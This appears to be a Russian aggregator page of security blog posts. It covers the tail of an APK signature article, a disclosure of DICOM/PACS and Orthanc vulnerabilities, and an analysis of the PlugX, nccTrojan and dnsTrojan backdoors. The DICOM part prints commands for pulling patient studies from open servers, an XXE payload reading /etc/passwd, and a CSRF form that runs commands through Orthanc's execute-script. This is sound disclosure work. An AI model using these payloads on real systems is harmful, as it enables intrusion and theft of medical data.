adb shell pm list featuresfeature:reqGlEsVersion=0x30002feature:android.hardware.audio.low_latencyfeature:android.hardware.audio.outputfeature:android.hardware.audio.profeature:android.hardware.bluetoothfeature:android.hardware.bluetooth_lefeature:android.hardware.camerafeature:android.hardware.camera.anyfeature:android.hardware.camera.arfeature:android.hardware.camera.autofocusfeature:android.hardware.camera.capability.manual_post_processingfeature:android.hardware.camera.capability.manual_sensorfeature:android.hardware.camera.capability.rawfeature:android.hardware.camera.flashfeature:android.hardware.camera.frontfeature:android.hardware.camera.level.fullfeature:android.hardware.faketouchfeature:android.hardware.fingerprintfeature:android.hardware.locationfeature:android.hardware.location.gpsfeature:android.hardware.location.networkfeature:android.hardware.microphonefeature:android.hardware.nfcfeature:android.hardware.nfc.anyfeature:android.hardware.nfc.hcefeature:android.hardware.nfc.hceffeature:android.hardware.opengles.aepfeature:android.hardware.ram.normalfeature:android.hardware.screen.landscapefeature:android.hardware.screen.portraitfeature:android.hardware.sensor.accelerometerfeature:android.hardware.sensor.assistfeature:android.hardware.sensor.barometerfeature:android.hardware.sensor.compassfeature:android.hardware.sensor.gyroscopefeature:android.hardware.sensor.hifi_sensorsfeature:android.hardware.sensor.lightfeature:android.hardware.sensor.proximityfeature:android.hardware.sensor.stepcounterfeature:android.hardware.sensor.stepdetectorfeature:android.hardware.telephonyfeature:android.hardware.telephony.carrierlockfeature:android.hardware.telephony.cdmafeature:android.hardware.telephony.euiccfeature:android.hardware.telephony.gsmfeature:android.hardware.touchscreenfeature:android.hardware.touchscreen.multitouchfeature:android.hardware.touchscreen.multitouch.distinctfeature:android.hardware.touchscreen.multitouch.jazzhandfeature:android.hardware.usb.accessoryfeature:android.hardware.usb.hostfeature:android.hardware.vr.headtrackingfeature:android.hardware.vr.high_performancefeature:android.hardware.vulkan.computefeature:android.hardware.vulkan.levelfeature:android.hardware.vulkan.version=4198400feature:android.hardware.wififeature:android.hardware.wifi.awarefeature:android.hardware.wifi.directfeature:android.hardware.wifi.passpointfeature:android.hardware.wifi.rttfeature:android.software.activities_on_secondary_displaysfeature:android.software.app_widgetsfeature:android.software.autofillfeature:android.software.backupfeature:android.software.cant_save_statefeature:android.software.companion_device_setupfeature:android.software.connectionservicefeature:android.software.ctsfeature:android.software.device_adminfeature:android.software.device_id_attestationfeature:android.software.file_based_encryptionfeature:android.software.home_screenfeature:android.software.input_methodsfeature:android.software.live_wallpaperfeature:android.software.managed_usersfeature:android.software.midifeature:android.software.picture_in_picturefeature:android.software.printfeature:android.software.securely_removes_usersfeature:android.software.sipfeature:android.software.sip.voipfeature:android.software.verified_bootfeature:android.software.voice_recognizersfeature:android.software.vr.modefeature:android.software.webviewfeature:com.google.android.apps.dialer.SUPPORTEDfeature:com.google.android.apps.photos.PIXEL_2017_PRELOADfeature:com.google.android.feature.EXCHANGE_6_2feature:com.google.android.feature.GOOGLE_BUILDfeature:com.google.android.feature.GOOGLE_EXPERIENCEfeature:com.google.android.feature.PIXEL_2017_EXPERIENCEfeature:com.google.android.feature.PIXEL_EXPERIENCEfeature:com.google.android.feature.TURBO_PRELOADfeature:com.google.android.feature.WELLBEINGfeature:com.google.android.feature.ZERO_TOUCHfeature:com.google.hardware.camera.easelfeature:com.verizon.hardware.telephony.ehrpdfeature:com.verizon.hardware.telephony.lte

2) С frosting versions я не согласен, так как можно найти похожие данные, но со значениями, отличными от 1. Максимальное значение этого поля, которое мне попадалось, 26.


3) С timestamp of the frosting creation я не согласен: я понаблюдал за конкретным приложением и заметил, что с выходом новых версий значение этого поля не обязательно растет. Оно скачет и может быть отрицательным.


4) MinSdkLevel и VersionCode выглядят правдоподобно.


Заключение


Итак, блок Frosting в подписи помогает однозначно определить, распространялся ли файл через официальный магазин. Больше никакой пользы из этой подписи извлечь не удалось.


Ловите напоследок пример использования такой информации в отчете мобильной песочницы ApkLab:


Подробнее..

К чему приводят уязвимости протокола DICOM

19.03.2021 12:22:16 | Автор: admin

Автор: Мария Недяк


Вы наверняка видели в медицинском сериале, как интерны бьются над рентгеновским снимком пациента, а потом приходит их наставник и ставит диагноз по едва заметному пятнышку. В реальности такими остроглазыми диагностами становятся модели машинного обучения, применяемые в технологии medical imaging. Благодаря таким штукам можно гораздо быстрее выявить болезнь, например, определить, являются ли клетки на снимках опухолевыми или неопухолевыми.


Но есть одна проблема в медицинских технологиях используются DICOM-протоколы, безопасность которых оставляет желать лучшего. О них и пойдет речь в этой статье.



Протокол DICOM и его слабые места


Коротко о самом протоколе


DICOM (Digital Imaging and Communication in Medicine) протокол представления медицинских обследований и передачи их между различными компонентами. Этими компонентами могут быть:


  • медицинское оборудование, которое непосредственно делает сканирование;
  • DICOM-сервер база данных для DICOM-файлов;
  • DICOM-клиент обычно это приложение для просмотра результатов медицинских обследований.

Протокол DICOM имеет две части:


  • описание формата файла;
  • описание сетевого взаимодействия.

Теперь к делу


Каждый DICOM-файл содержит информацию о пациентах и состоянии их здоровья данные, которые требуют особой защиты. Именно поэтому я решила проверить реализации DICOM-протокола на уязвимости вместе с группой исследователей-энтузиастов AISec, которая занимается безопасностью в сфере машинного обучения.


Мы также изучили безопасность PACS (Picture Archiving and Communication System). Это такие системы, в которых результаты обследований хранятся в электронном виде. Они позволяют передавать снимки между врачами по сети. Да-да, благодаря PACS больше не нужно таскать с собой рентгеновские снимки в конверте, как мы привыкли.


DICOM-файл


DICOM-файл изображение медицинского характера, сохраненное в формате DICOM. Этот формат отраслевой стандарт для хранения и распространения медицинских снимков.


Помимо графических данных, DICOM-файлы могут содержать персональную информацию в виде атрибутов, позволяющих сопоставить изображение с конкретным человеком и идентифицировать пациента. К ним относятся пол, имя пациента, дата рождения и пр. Список возможных атрибутов и их описание можно найти в документации.


На рисунке показана структура DICOM-файла:



DICOM Network


Стандарт протокола довольно сложно и нудно описывает сетевое взаимодействие мне до сих пор не удалось изучить его целиком. Но если говорить в общем, вот какие команды сетевого взаимодействия есть у DICOM-протокола:


Действие Описание
C-ECHO Тест соединения между двумя устройствами
C-FIND Поиск исследований на удаленном сервере
C-GET, C-MOVE Скачивание исследований с удаленного сервера
C-STORE Сохранение исследования на удаленном сервере


Вот как выглядит процесс передачи результатов медицинских обследований по DICOM-протоколу


Немного статистики по DICOM-серверам в интернете.



Такие картинки-отчеты о сканировании генерирует Grinder Framework


Интересный факт: когда мои коллеги из AISec проводили сканирование в 2019 году, то доступных серверов было меньше тысячи. В 2020 году же их оказалось около 2700.


Большинство хостов в сети настроены таким образом, что любой может установить с ними соединение. Давайте разберем пример, как просто получить исследование с удаленного сервера из сети. Для этого воспользуемся утилитами findscu и getscu из DCMTK набора библиотек и приложений, реализующих большую часть стандарта DICOM.


Первой командой получаем список всех доступных исследований на сервере.


$ findscu -aet <AE Title> -P -k PatientName="*" <host> <port>

С ключом -aet в запросе передаем название Application Entity Title. Обычно этот тайтл требуется, когда нужно разграничить доступ к изображениям при использовании одного DICOM-сервера разными PACS. Это, своего рода, идентификация клиента. Но проблема в том, что тайтлы на многих серверах настроены по умолчанию. Это значит, подобрать его можно, перебирая дефолтные значения от разных разработчиков PACS и DICOM-серверов.


С ключом -k передаем фильтр "PatientName=*", который позволит показать любое доступное исследование на сервере.



Пример вывода команды findscu


Следующей командой скачиваем нужное нам исследование или все исследования сразу.


$ getscu -aet <AE Title> -P -k PatientName="John Doe" <host> <port>

Значения ключей в команде аналогичны предыдущей.



Пример исследования, скачанного с удаленного сервера DICOM


Вот так с помощью двух команд можно скачать данные с удаленного DICOM-сервера при наличии одного из условий:


  • Application Entity Title не задан,
  • Application Entity Title установлен по умолчанию, поэтому его удалось подобрать.

Далее рассмотрим популярные инструменты и реализации протокола и найденные в них недостатки.


Реализации протокола DICOM


SimpleITK


SimpleITK реализация протокола, которая используется в одном из крупных проектов в области medical imaging NVIDIA CLARA.


Для поиска уязвимостей в ней использовался фаззинг AFL со словарем. В результате мы наткнулись на переполнение кучи. Попытки эксплуатации привели к обнаружению более простой уязвимости переполнению буфера через поле PatientName. Причем для переполнения буфера было достаточно создать файл с длиной имени пациента свыше 512 байт.



В ответ на репорт о переполнении кучи разработчик просто поправил файл, демонстрирующий уязвимость, чтобы он корректно обрабатывался библиотекой :)



Чем кончилось: в конце концов мы друг друга поняли, и вендор быстро исправил обе уязвимости.


DCMTK


DCMTK (DICOM Toolkit) самая старая реализация DICOM-протокола. Она включает набор инструментов для работы с протоколом: парсеры DICOM-файлов в разных форматах и из разных форматов, а также утилиты для взаимодействия с DICOM-сервером по сети.


XXE в xml2dcm


Парсер xml2dcm конвертирует результаты медицинского обследования из формата XML в DICOM.
В xml2dcm мы нашли уязвимость к самой простой XXE-атаке: создаем XML-файл с внешней сущностью в имени пациента и на выходе получаем DICOM-файл с содержимым /etc/passwd.


<?xml version="1.0" encoding="ISO-8859-1"?>   <!DOCTYPE foo [    <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><element tag="0010,0010" vr="PN" vm="1" len="32" name="PatientName">&xxe;</element>


Чем кончилось: данную уязвимость вендор устранил.


Небезопасные функции xml2dcm


По аналогии с external entities в XML, cама по себе утилита xml2dcm позволяет создавать DICOM-файлы c содержимым других файлов внутри. Это удобно, потому что не нужно писать данные в XML-файл достаточно указать в теге PixelData путь к файлу, из которого нужно подгрузить данные при конвертировании.


<element tag="7fe0,0010" vr="OW" vm="1"  name="PixelData" loaded="no" binary="file">/etc/passwd</element>

Если в теге PixelDatа указать путь к любому файлу в системе, то после обработки утилитой xml2dcm мы получим DICOM-файл с его содержимым.


Чем кончилось: эту функцию невозможно отключить никаким флагом, а на доработку парсера xml2dcm вендор не согласился :(


DoS в парсерах DICOM-файлов


Мы тестировали па из DCMTK при помощи фаззинга AFL и libFuzzer. Результат DoS-утилиты xml2dcm и dcm2xml.


Чем кончилось: вендор исправил найденные ошибки.


DoS в dcmqrscp-сервере


DCMTK также предоставляет реализацию DICOM-сервера dcmqrscp. Тестирование безопасности DICOM-сервера dcmqrscp было проведено с помощью фаззинга, в результате которого был обнаружен DoS.
Фаззинг проводился при помощи AFLNet. Поддержку протокола DICOM я добавила в официальный репозиторий AFLNet, если кому-то захочется пофаззить другие DICOM-серверы.


Чем кончилось: вендор исправил ошибку реализации.


Приложения medical imaging


ORTHANC


В ходе исследования мы затронули приложение ORTHANC. Этот продукт очень прост в настройке и использовании: он предоставляет веб-обертку для просмотра DICOM-файлов, и для работы с DICOM-протоколом требуется только браузер.
ORTHANC используют в здравоохранении, в различных университетах и госпиталях, с его помощью проводятся исследования в области машинного обучения medical imaging (раз и два).



Открытые серверы ORTHANC в сети


Небезопасное API


Сервер ORTHANC открыт к сообществу разработчиков и предоставляет REST API для написания различных плагинов. Если взглянуть на список доступных методов, можно заметить интересные методы для перезагрузки и выключения сервера, а также метод с названием execute-script.



Он принимает на вход скрипты на lua и без какой-либо валидации выполняет их на сервере. Чтобы убедиться в этом самостоятельно, посмотрите исходный код ORTHANC.



Чем кончилось: раньше этот метод был включен по умолчанию в конфиге Orthanc, но, к счастью, недавно вендор догадался его отключить. Однако в сети до сих пор можно наткнуться на Orthanc-серверы с работающим методом execute-script.


Уязвимость аутентификации к CSRF-атаке


Метод execute-script является небезопасным. Разработчик ORTHANC решил эту проблему при помощи аутентификации, чтобы выполнять такие запросы могли только зарегистрированные пользователи. Но по умолчанию аутентификация отключена при работе с ORTHANC-сервером с официального сайта.


В докере от разработчика уже включена аутентификация по умолчанию. Это здорово, если бы не следующая проблема: данная система аутентификации уязвима к CSRF-атаке. Достаточно создать страничку со следующим содержанием и отправить ее пользователю:


<html>  <body>    <form action="http://personeltest.ru/away/<host>:8042/tools/execute-script" method="POST" enctype="text/plain">      <input type="hidden" name="cmd" value="'mkdir /tmp/testCSRF';os.execute(cmd)"/>      <input type="submit" value="Submit request" />    </form>  </body></html>

Когда пользователь открывает страницу, на сервер отправляется команда, запускающая выполнение произвольного кода.


Ответ вендора на запрос исправления данной уязвимости меня удивил: оказывается, ORTHANC это микросервис, поэтому и о безопасности среды, где вы его разворачиваете, извольте позаботиться сами. То есть и механизм аутентификации мы сами должны написать? И догадаться о том, что поставляемый вендором механизм аутентификации лишь создает иллюзию безопасности и надежности, но на самом деле бесполезен?



Ответ вендора


BTW: кеш гугла показал, что приписку в документации о CSRF вендор сделал после моего репорта об уязвимости. И, конечно же, вряд ли он известил тех клиентов, которые уже пользуются их микросервисом и верят в его надежность.



Страница документации после ответа вендора на репорт об уязвимости



Страница документации из кеша гугл за пару дней до репорта не содержит каких-либо упоминаний CSRF


Чем кончилось: вендор так ничего и не предпринял для устранения данной уязвимости, только дополнил документацию.


Заключение


То, как просто найти уязвимости в medical imaging и как забавно вендоры реагируют на баг-репорты, показывает слабый уровень защищенности таких технологий. Чтобы они стали безопасными, над ними еще работать и работать.


Напоследок оставлю табличку со всеми описанными в статье багами.


Vendor Product Weakness
SimpleITK ImageSeriesReader Heap-buffer-overflow
SimpleITK ImageSeriesReader Buffer-overflow
Orthanc Orthanc CSRF with remote code execution
DCMTK xml2dcm XXE
DCMTK xml2dcm DoS
DCMTK xml2dcm File read functionality
DCMTK dcm2xml DoS
DCMTK dcmqrscp DoS

Также подробная информация лежит на github.

Подробнее..

Пока расследование не разлучит нас малварь, которая может сидеть в сети компании годами

02.04.2021 12:23:26 | Автор: admin

Недавно мы расследовали АРТ-атаку на одну российскую компанию и нашли много занятного софта. Сначала мы обнаружили продвинутый бэкдор PlugX, популярный у китайских группировок, АРТ-атаки которых обычно нацелены на похищение конфиденциальной информации, а не денег. Затем из скомпрометированной сети удалось вытащить несколько других схожих между собой бэкдоров (nccTrojan, dnsTrojan, dloTrojan) и даже общедоступных утилит.


Программы, используемые в этой преступной кампании, не отличаются сложностью, за исключением, может быть, PlugX. К тому же три из четырех вредоносов использовали при запуске давно известную технику DLL hijacking. Тем не менее, как показало наше исследование, даже при таких условиях злоумышленники могут годами оставаться в скомпрометированных сетях.


Мы решили изучить обнаруженный софт и поделиться своими наблюдениями.


PlugX


PlugX сложная вредоносная программа. Мы постараемся рассказать о ее основных функциях, а более подробное описание малвари можно найти в отчете Dr. Web.


Запуск PlugX


PlugX, как правило, распространяется в виде самораспаковывающихся архивов, содержащих:


  • невредоносный исполняемый файл (EXE), подписанный цифровой подписью (нам попадались подписи McAfee, Kaspersky, Support.com);
  • вредоносную динамическую библиотеку (Dynamic Link Library DLL);
  • зашифрованную основную нагрузку файлы с произвольными именем и расширением.

Такой набор характерен для техники DLL hijacking, при которой злоумышленник заменяет легитимную DLL на вредоносную. При этом малварь получает возможность работать от имени легитимного процесса и обходить таким образом средства защиты (рис. 1).



Рис. 1. Наглядное представление техники DLL hijacking


Рассмотрим в качестве примера один из экземпляров PlugX, характеристики которого приведены в табл. 1.


Табл. 1. Свойства файлов одного из образцов PlugX
Свойство EXE DLL Зашифрованная нагрузка
Имя файла mcut.exe mcutil.dll mcutil.dll.bbc
Тип файла PE32 executable (EXE) PE32 executable (DLL) None
Размер (в байтах) 140 576 4 096 180 358
Время компиляции 13 июня 2008 года 02:39:28 9 декабря 2014 года 10:06:14
MD5 884d46c01c762ad6ddd2759fd921bf71 e9a1482a159d32ae57b3a9548fe8edec 2d66d86a28cd28bd98496327313b4343
SHA-1 d201b130232e0ea411daa23c1ba2892fe6468712 a2a6f813e2276c8a789200c0e9a8c71c57a5f2d6 7bcf4f196578f2a43a2cd47f0b3c8d295120b646
SHA-256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe 2f81cf43ef02a4170683307f99159c8e2e4014eded6aa5fc4ee82078228f6c3c 0c831e5c3aecab14fe98ff4f3270d9ec1db237f075cd1fae85b7ffaf0eb2751

Вот что происходит при запуске невредоносного исполняемого файла (EXE) из пакета.


Сначала одна из импортируемых им библиотек (отдельная DLL) заменяется вредоносной. После загрузки в память процесса DLL открывает третий файл из пакета PlugX, который обходит средства защиты за счет отсутствия видимого исполняемого кода. Тем не менее он содержит шелл-код, после исполнения которого в памяти расшифровывается еще один дополнительный шелл-код. Он с помощью функции RtlDecompressBuffer() распаковывает PlugX (DLL). При открытии мы видим, что сигнатуры MZ и PE в исполняемом файле PlugX заменены на XV (рис. 2) скорее всего, это тоже нужно, чтобы скрыть модуль от средств защиты.



Рис. 2. Исполняемый файл PlugX в распакованном виде с измененными сигнатурами MZ и PE


Наконец, запускается распакованная вредоносная библиотека, и управление передается ей.


В другом экземпляре PlugX мы обнаружили интересную особенность: малварь пыталась скрыть некоторые библиотечные вызовы от песочниц. При восстановлении импортов вместо адреса импортируемой функции сохранялся адрес тремя байтами ранее. Результат для функции SetFileAttributesW() виден на рис. 3.



Рис. 3. При получении адреса функции SetFileAttributesW() сохраняется адрес 0x7577D4F4


В табл. 2 приведены характеристики этого экземпляра.


Табл. 2. Свойства файлов образца вредоносной программы PlugX, который пытался скрыть вызовы от песочниц
Свойство EXE DLL Зашифрованная нагрузка
Имя файла mcut.exe mcutil.dll mcutil.dll.bbc
Тип файла PE32 executable (EXE) PE32 executable (DLL) None
Размер 140 576 4 096 179 906
MD5 884d46c01c762ad6ddd2759fd921bf71 12ee1f96fb17e25e2305bd6a1ddc2de9 e0ae93f9cebcba2cb44cec23993b8917
SHA-1 d201b130232e0ea411daa23c1ba2892fe6468712 bf25f1585d521bfba0c42992a6df5ac48285d763 f0efdb723a65e90afaebd56abe69d9f649ca094c
SHA-256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe 97ad6e95e219c22d71129285299c4717358844b90860bb7ab16c5178da3f1686 81e53c7d7c8aa8f98c951106a656dbe9c931de465022f6bafa780a6ba96751eb

На рис. 4 представлен фрагмент кода PlugX, где встречается функция SetFileAttributesW(), и листинг из одной из песочниц.



а)



б)
Рис. 4. Фрагмент декомпилированного кода (а) и соответствующий ему фрагмент листинга перехваченных инструкций (б), где встречается вызов функции SetFileAttributesW()


В листинге из песочницы мы не видим вызов функции SetFileAttributesW(). Впрочем, вызовы функций LoadLibrary() и GetProcAddress(), которые были импортированы аналогичным образом, мы тоже не видим.


Основная нагрузка PlugX не сохраняется в расшифрованном виде на диске.


Работа PlugX


После запуска вредоносная программа расшифровывает конфигурацию, которая содержит адреса серверов управления, а также информацию, необходимую для дальнейшего функционирования (например, способ закрепления в системе или путь, по которому копируются файлы малвари).


При этом данные для конфигурации могут браться из основного загрузчика или из отдельного файла в текущей рабочей директории. Из того же файла может быть подтянута новая конфигурация при ее обновлении в ходе взаимодействия с сервером управления.


То, как вредонос будет вести себя дальше, во многом определяет его конфигурация.


В зависимости от значения check_flag в конфигурации PlugX вредоносная программа может начать поиск в зараженной системе сетевого адаптера, MAC-адрес которого совпадает с адресом, заданным в самой малвари. В случае совпадения вредоносная программа завершит свое исполнение. Вероятно, таким образом она пытается обнаружить виртуальную среду.


Режим работы вредоносной программы зависит от значения флага конфигурации mode_flag, которое может быть равно 0, 2, 3 или 4.


Если значение mode_flag равно 0, вредоносная программа закрепляется в системе (подробнее в разделе Закрепление в системе). Затем она переходит к инициализации плагинов и взаимодействию с сервером управления (подробнее в разделе Функциональность плагинов и исполнение команд).


Если значение mode_flag равно 2, вредоносная программа сразу переходит к инициализации плагинов и взаимодействию с сервером управления.


Если значение mode_flag равно 3, вредоносная программа внедряет шелл-код в Internet Explorer. Передача управления вредоносному коду осуществляется с помощью функции CreateRemoteThread(). Также производится инициализация плагинов, и создается именованный пайп, через который вредоносная программа получает команды, предназначенные для исполнения плагинами.


Если значение mode_flag равно 4, устанавливается перехват некоторых функций библиотеки wininet.dll. В функции-перехватчике извлекаются логины и пароли для подключения к прокси-серверу. Полученные данные будут сохранены в файле в рабочей директории вредоносной программы. При этом имена файлов, создаваемых малварью в процессе функционирования, генерируются на основе серийного номера диска и некоторого уникального для каждого файла значения. Перехватываются следующие функции:


  • HttpSendRequestA(),
  • HttpSendRequestW(),
  • HttpSendRequestExA(),
  • HttpSendRequestExW().

Закрепление в системе


Если конфигурация PlugX предусматривает закрепление вредоноса в зараженной системе, то в ней прописан каталог, в который будут скопированы компоненты малвари.


Анализируемый образец выбирает одну из следующих директорий в зависимости от разрядности малвари:


  • %SystemRoot%\System32\winssxs,
  • %SystemRoot%\SysWOW64\winssxs.

Для созданной директории и скопированных в нее компонентов программа пытается установить временные метки, совпадающие с временными метками библиотеки ntdll.dll из зараженной системы. Возможно, это нужно для маскировки под компонент ОС. Также PlugX скрывает эти файлы от пользователя, выставляя атрибуты FILE_ATTRIBUTE_SYSTEM и FILE_ATTRIBUTE_HIDDEN. В конфигурации указывается путь к месту, где будут сохраняться скриншоты, сделанные вредоносной программой.


В зависимости от persistence_flag PlugX может закрепляться:


  • как сервис (persistence_flag=1),
  • через реестр (persistence_flag=2),
  • любым из двух способов (persistence_flag=0), сначала попытаться создать сервис, а в случае неудачи закрепиться через реестр.

Помним, что малварь может и не закрепляться вовсе.


Когда вредонос пытается закрепиться как сервис, он маскируется под легитимную программу. Имя службы и ее параметры задаются в конфигурации. Например, в нашем образце создается сервис с именем SSXSS (отображаемое имя SSXS) и описанием McAfee OEM Info Copy Files, а качестве исполняемого файла службы используется невредоносный mcut.exe.


Если закрепиться в качестве службы не удается, программа пытается закрепиться через реестр и перезапускает себя из каталога, в который была скопирована ранее. Для этого она использует ключ реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Ключ реестра и параметр задаются через конфигурацию: в анализируемом образце в параметр, соответствующий отображаемому имени сервиса, программа прописывает путь до того же mcut.exe.


После того, как вредоносная программа закрепилась и перезапустилась, производится внедрение вредоносного кода. В анализируемом образце он работает в памяти легитимного процесса svchost.exe. Имя процесса подтягивается из конфигурации. Если внедрение кода прошло успешно, текущий процесс завершается.


В зависимости от конфигурации вредоносная программа может также попытаться создать процесс с повышенными привилегиями с последующим внедрением в него кода. В конфигурации могут быть перечислены до четырех целевых процессов.


Функциональность плагинов PlugX и исполняемые команды


Основная функциональность бэкдора реализована с помощью так называемых плагинов. Фрагмент функции, в которой производится инициализация плагинов, приведен на рис. 5.



Рис. 5. Фрагмент инициализации плагинов PlugX


PlugX может управлять процессами и службами, работать с файловой системой, вносить изменения в реестр. Он также имеет компоненты кейлоггера и скринлоггера и может получать удаленный доступ к зараженной системе все это дает обширные возможности злоумышленникам в скомпрометированной сети.


Полный перечень функций вредоносной программы, доступной через плагины, приведен в табл. 3.


Табл. 3. Функциональность PlugX, доступная через плагины


Плагин Команда Функциональные возможности
DISK
0x3000
Собрать информацию по всем дискам (тип и свободное пространство)
0x3001
Перечислить файлы в директории
0x3002
Перечислить файлы
0x3004
Прочитать файл
0x3007
Создать директорию и сохранить в нее файл
0x300A
Создать директорию
0x300C
Создать новый рабочий стол и запустить процесс
0x300D
Копировать, переместить, переименовывать или удалить файл
0x300E
Получить значение переменной окружения
KeyLogger
0xE000
Отправить данные кейлоггера на сервер управления
Nethood
0xA000
Перечислить сетевые ресурсы
0xA001
Установить соединение с сетевым ресурсом
Netstat
0xD000
Получить таблицу TCP
0xD001
Получить таблицу UDP
0xD002
Установить состояние TCP
Option
0x2000
Заблокировать экран компьютера
0x2001
Отключить компьютер (принудительно)
0x2002
Перезагрузить компьютер
0x2003
Отключить компьютер (безопасно)
0x2005
Показать окно с сообщением
PortMap
0xB000
Возможно, запустить маппинг портов
Process
0x5000
Получить информацию о процессах
0x5001
Получить информацию о процессе и модулях
0x5002
Завершить процесс
Regedit
0x9000
Перечислить подразделы ключа реестра
0x9001
Создать ключ реестра
0x9002
Удалить ключ реестра
0x9003
Скопировать ключ реестра
0x9004
Перечислить значения ключа реестра
0x9005
Задать значение ключа реестра
0x9006
Удалить значение из ключа реестра
0x9007
Получить значение из ключа реестра
Screen
0x4000
Использовать удаленный рабочий стол
0x4100
Сделать скриншот
0x4200
Найти скриншоты в системе
Service
0x6000
Получить информацию о сервисах в системе
0x6001
Изменить конфигурацию сервиса
0x6002
Запустить сервис
0x6003
Управлять сервисом
0x6004
Удалить сервис
Shell
0x7002
Запустить cmd-шелл
SQL
0xC000
Получить список баз данных
0xC001
Получить список описаний драйверов
0xC002
Выполнить SQL-команду
Telnet
0x7100
Настроить Telnet

Фрагмент функции обработки команд, полученных от сервера управления приведена на рис. 6.



Рис. 6. Команды сервера управления, которые получает PlugX


Описание команд приведено в табл. 4.


Табл. 4. Команды сервера управления, которые получает PlugX


Команда Описание
0x1 Отправить на сервер управления данные о зараженной системе:
имя компьютера;
имя пользователя;
информация о CPU;
текущее использование памяти системой;
информация об операционной системе;
системные дата и время;
системная информация;
язык системы
0x5 Самоудалиться (удалить службу, очистить реестр)
0x3 Передать команды плагинам со сменой протокола взаимодействия
0x6 Отправить текущую конфигурацию PlugX на сервер управления
0x7 Получить с сервера управления новую конфигурацию и обновить текущую
0x8 Отправить список процессов с внедренным шелл-кодом
default Передать команды плагинам

nccTrojan


Один из обнаруженных нами бэкдоров найден в отчете VIRUS BULLETIN и назван авторами nccTrojan по константному значению в коде основного пейлоада. Характеристики попавшегося нам образца малвари приведены в табл. 5.


Табл. 5. Свойства анализируемого образца nccTrojan
Свойство EXE DLL
Имя файла instsrv.exe windowsreskits.dll
Тип файла PE32 executable (EXE) PE32 executable (DLL)
Размер (в байтах) 83 968 514 048
Время компиляции 18 декабря 2019 года 03:13:03 21 марта 2020 года 15:19:04
MD5 c999b26e4e3f15f94771326159c9b8f9 056078b1c424667e6a67f9867627f621
SHA-1 ec12c469463029861bd710aec3cb4a2c01907ad2 5bd080285a09c0abf742fb50957831310d9d9769
SHA-256 07d728aa996d48415f64bac640f330a28e551cd565f1c5249195477ccf7ecfc5 3be516735bafbb02ba71d56d35aee8ce2ef403d08a4dc47b46d5be96ac342bc9

Запуск nccTrojan


Вредоносная программа состоит из двух файлов: EXE и DLL, но в данном случае техника DLL hijacking не используется. После запуска вредоносный EXE-файл (MD5: c999b26e4e3f15f94771326159c9b8f9) регистрирует библиотеку windowsreskits.dll (MD5: 056078b1c424667e6a67f9867627f621) в качестве сервиса. В зависимости от разрядности библиотеки ее файл копируется в одну из директорий:


  • %SystemRoot%\System32;
  • %SystemRoot%\SysWOW64 .

В результате создается сервис с именем WindowsResKits, работающий в контексте процесса svchost.exe.


Работа nccTrojan


nccTrojan расшифровывает конфигурацию, хранящуюся по определенному смещению в оверлее. Конфигурация зашифрована с помощью алгоритма AES-CFB-256, он же используется для шифрования взаимодействия с сервером управления. Пары ключ шифрования + вектор инициализации захардкоржены и различны для шифрования конфигурации и взаимодействия с сервером управления.


Расшифрованная конфигурация содержит информацию о сервере управления и выглядит следующим образом:


***news.niiriip.com|#|none|#|none|#|443|#|none|#|none|#|passwd|#|ncc|#|v2.2[Service]***


Строка v2_2[Service], вероятнее всего, характеризует версию вредоносной программы и также используется в качестве имени при создании мьютекса.


В зависимости от конфигурации nccTrojan может иметь до трех серверов управления. В исследуемом экземпляре вредоносной программы задан лишь один сервер управления news.niiriip[.]com, а поля конфигурации под оставшиеся два заполнены none.


Дальнейшее взаимодействие осуществляется только в случае получения с сервера управления пакета, который после расшифровывания содержит строку ncc.


Если соединение установлено, то на сервер управления отправляется следующая информация:


  • имя компьютера,
  • контрольная сумма от отправляемых данных,
  • имя пользователя,
  • уровень привилегий пользователя в системе (SYSTEM, Administrator или User),
  • IP-адреса зараженной системы,
  • идентификатор версии операционной системы,
  • язык системы.

При этом из собранных данных формируется строка, которая дальше зашифровывается и отправляется на сервер управления. Формат создаваемой строки:


passwd|#|<check_sum>|#|<computer_name>|#|<user_name>|#|<user_privilege>|#|<ip_addr_1 / ip_addr_2 / ...>|#|None|#|v2.2[Service]|#|<os_version_ID>|#|<language_ID>


Далее вредоносная программа переходит к взаимодействию с сервером управления и может исполнять команды, приведенные в табл. 6.


Табл. 6. Команды, исполняемые nccTrojan


Команда Назначение
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Записать данные в файл
0x5 Получить информацию о дисках C-Z (тип, свободный объем памяти)
0x6 Получить информацию о файлах
0x8 Запустить процесс
0xA Удалить файл или директорию
0xC Прочитать файл
0xF Проверить наличие файла
0x11 Сохранить файл
0x13 Получить список запущенных процессов
0x15 Завершить процесс
0x17 Скопировать файл
0x1A Переместить файл
0x1D Запустить cmd-шелл с правами пользователя

dnsTrojan


Следующий бэкдор мы обнаружили впервые: на момент расследования мы не нашли упоминаний о нем в отчетах других экспертов. Его отличительная особенность общение с сервером управления через DNS. В остальном по своей функциональности вредоносная программа схожа с бэкдором nccTrojan. Чтобы сохранить единообразие в названиях найденной малвари, назвали ее dnsTrojan.


В рамках инцидента обнаружен CAB-архив, содержащий вредоносный исполняемый файл (MD5: a3e41b04ed57201a3349fd42d0ed3253). Характеристики образца, который мы вытащила в ходе расследования, приведены в табл. 7.


Табл. 7. Свойства анализируемого образца dnsTrojan
Свойство EXE
Имя a.exe.ok
Тип файла PE32 executable (EXE)
Размер (в байтах) 417 280
Время компиляции 13 октября 2020 года 20:05:59
MD5 a3e41b04ed57201a3349fd42d0ed3253
SHA-1 172d9317ca89d6d21f0094474a822720920eac02
SHA-256 826df8013af53312e961838d8d92ba24de19f094f61bc452cd6ccb9b270edae5

Запуск dnsTrojan


В файле захардкоржена строка AB0d3d3MS5kb3RvbWF0ZXIuY2x1Yjsw, которая является некоей конфигурацией. Вредоносная программа проверяет внутри этой строки третий байт и в зависимости от его значения выбирает свою рабочую директорию и некоторую функциональность:


  • b"30" ('0') вредоносная программа работает в своей текущей директории, в реестр не прописывается, по завершении исполнения все созданные в процессе функционирования файлы: LiveUpdate.exe, ccL100U.dll и сам исполняемый файл удаляются (конфигурация анализируемого образца);
  • b"31" ('1') вредоносная программа работает в %AppData%\Sep, прописывается в реестре, по завершении исполнения удаляется только сам исполняемый файл.

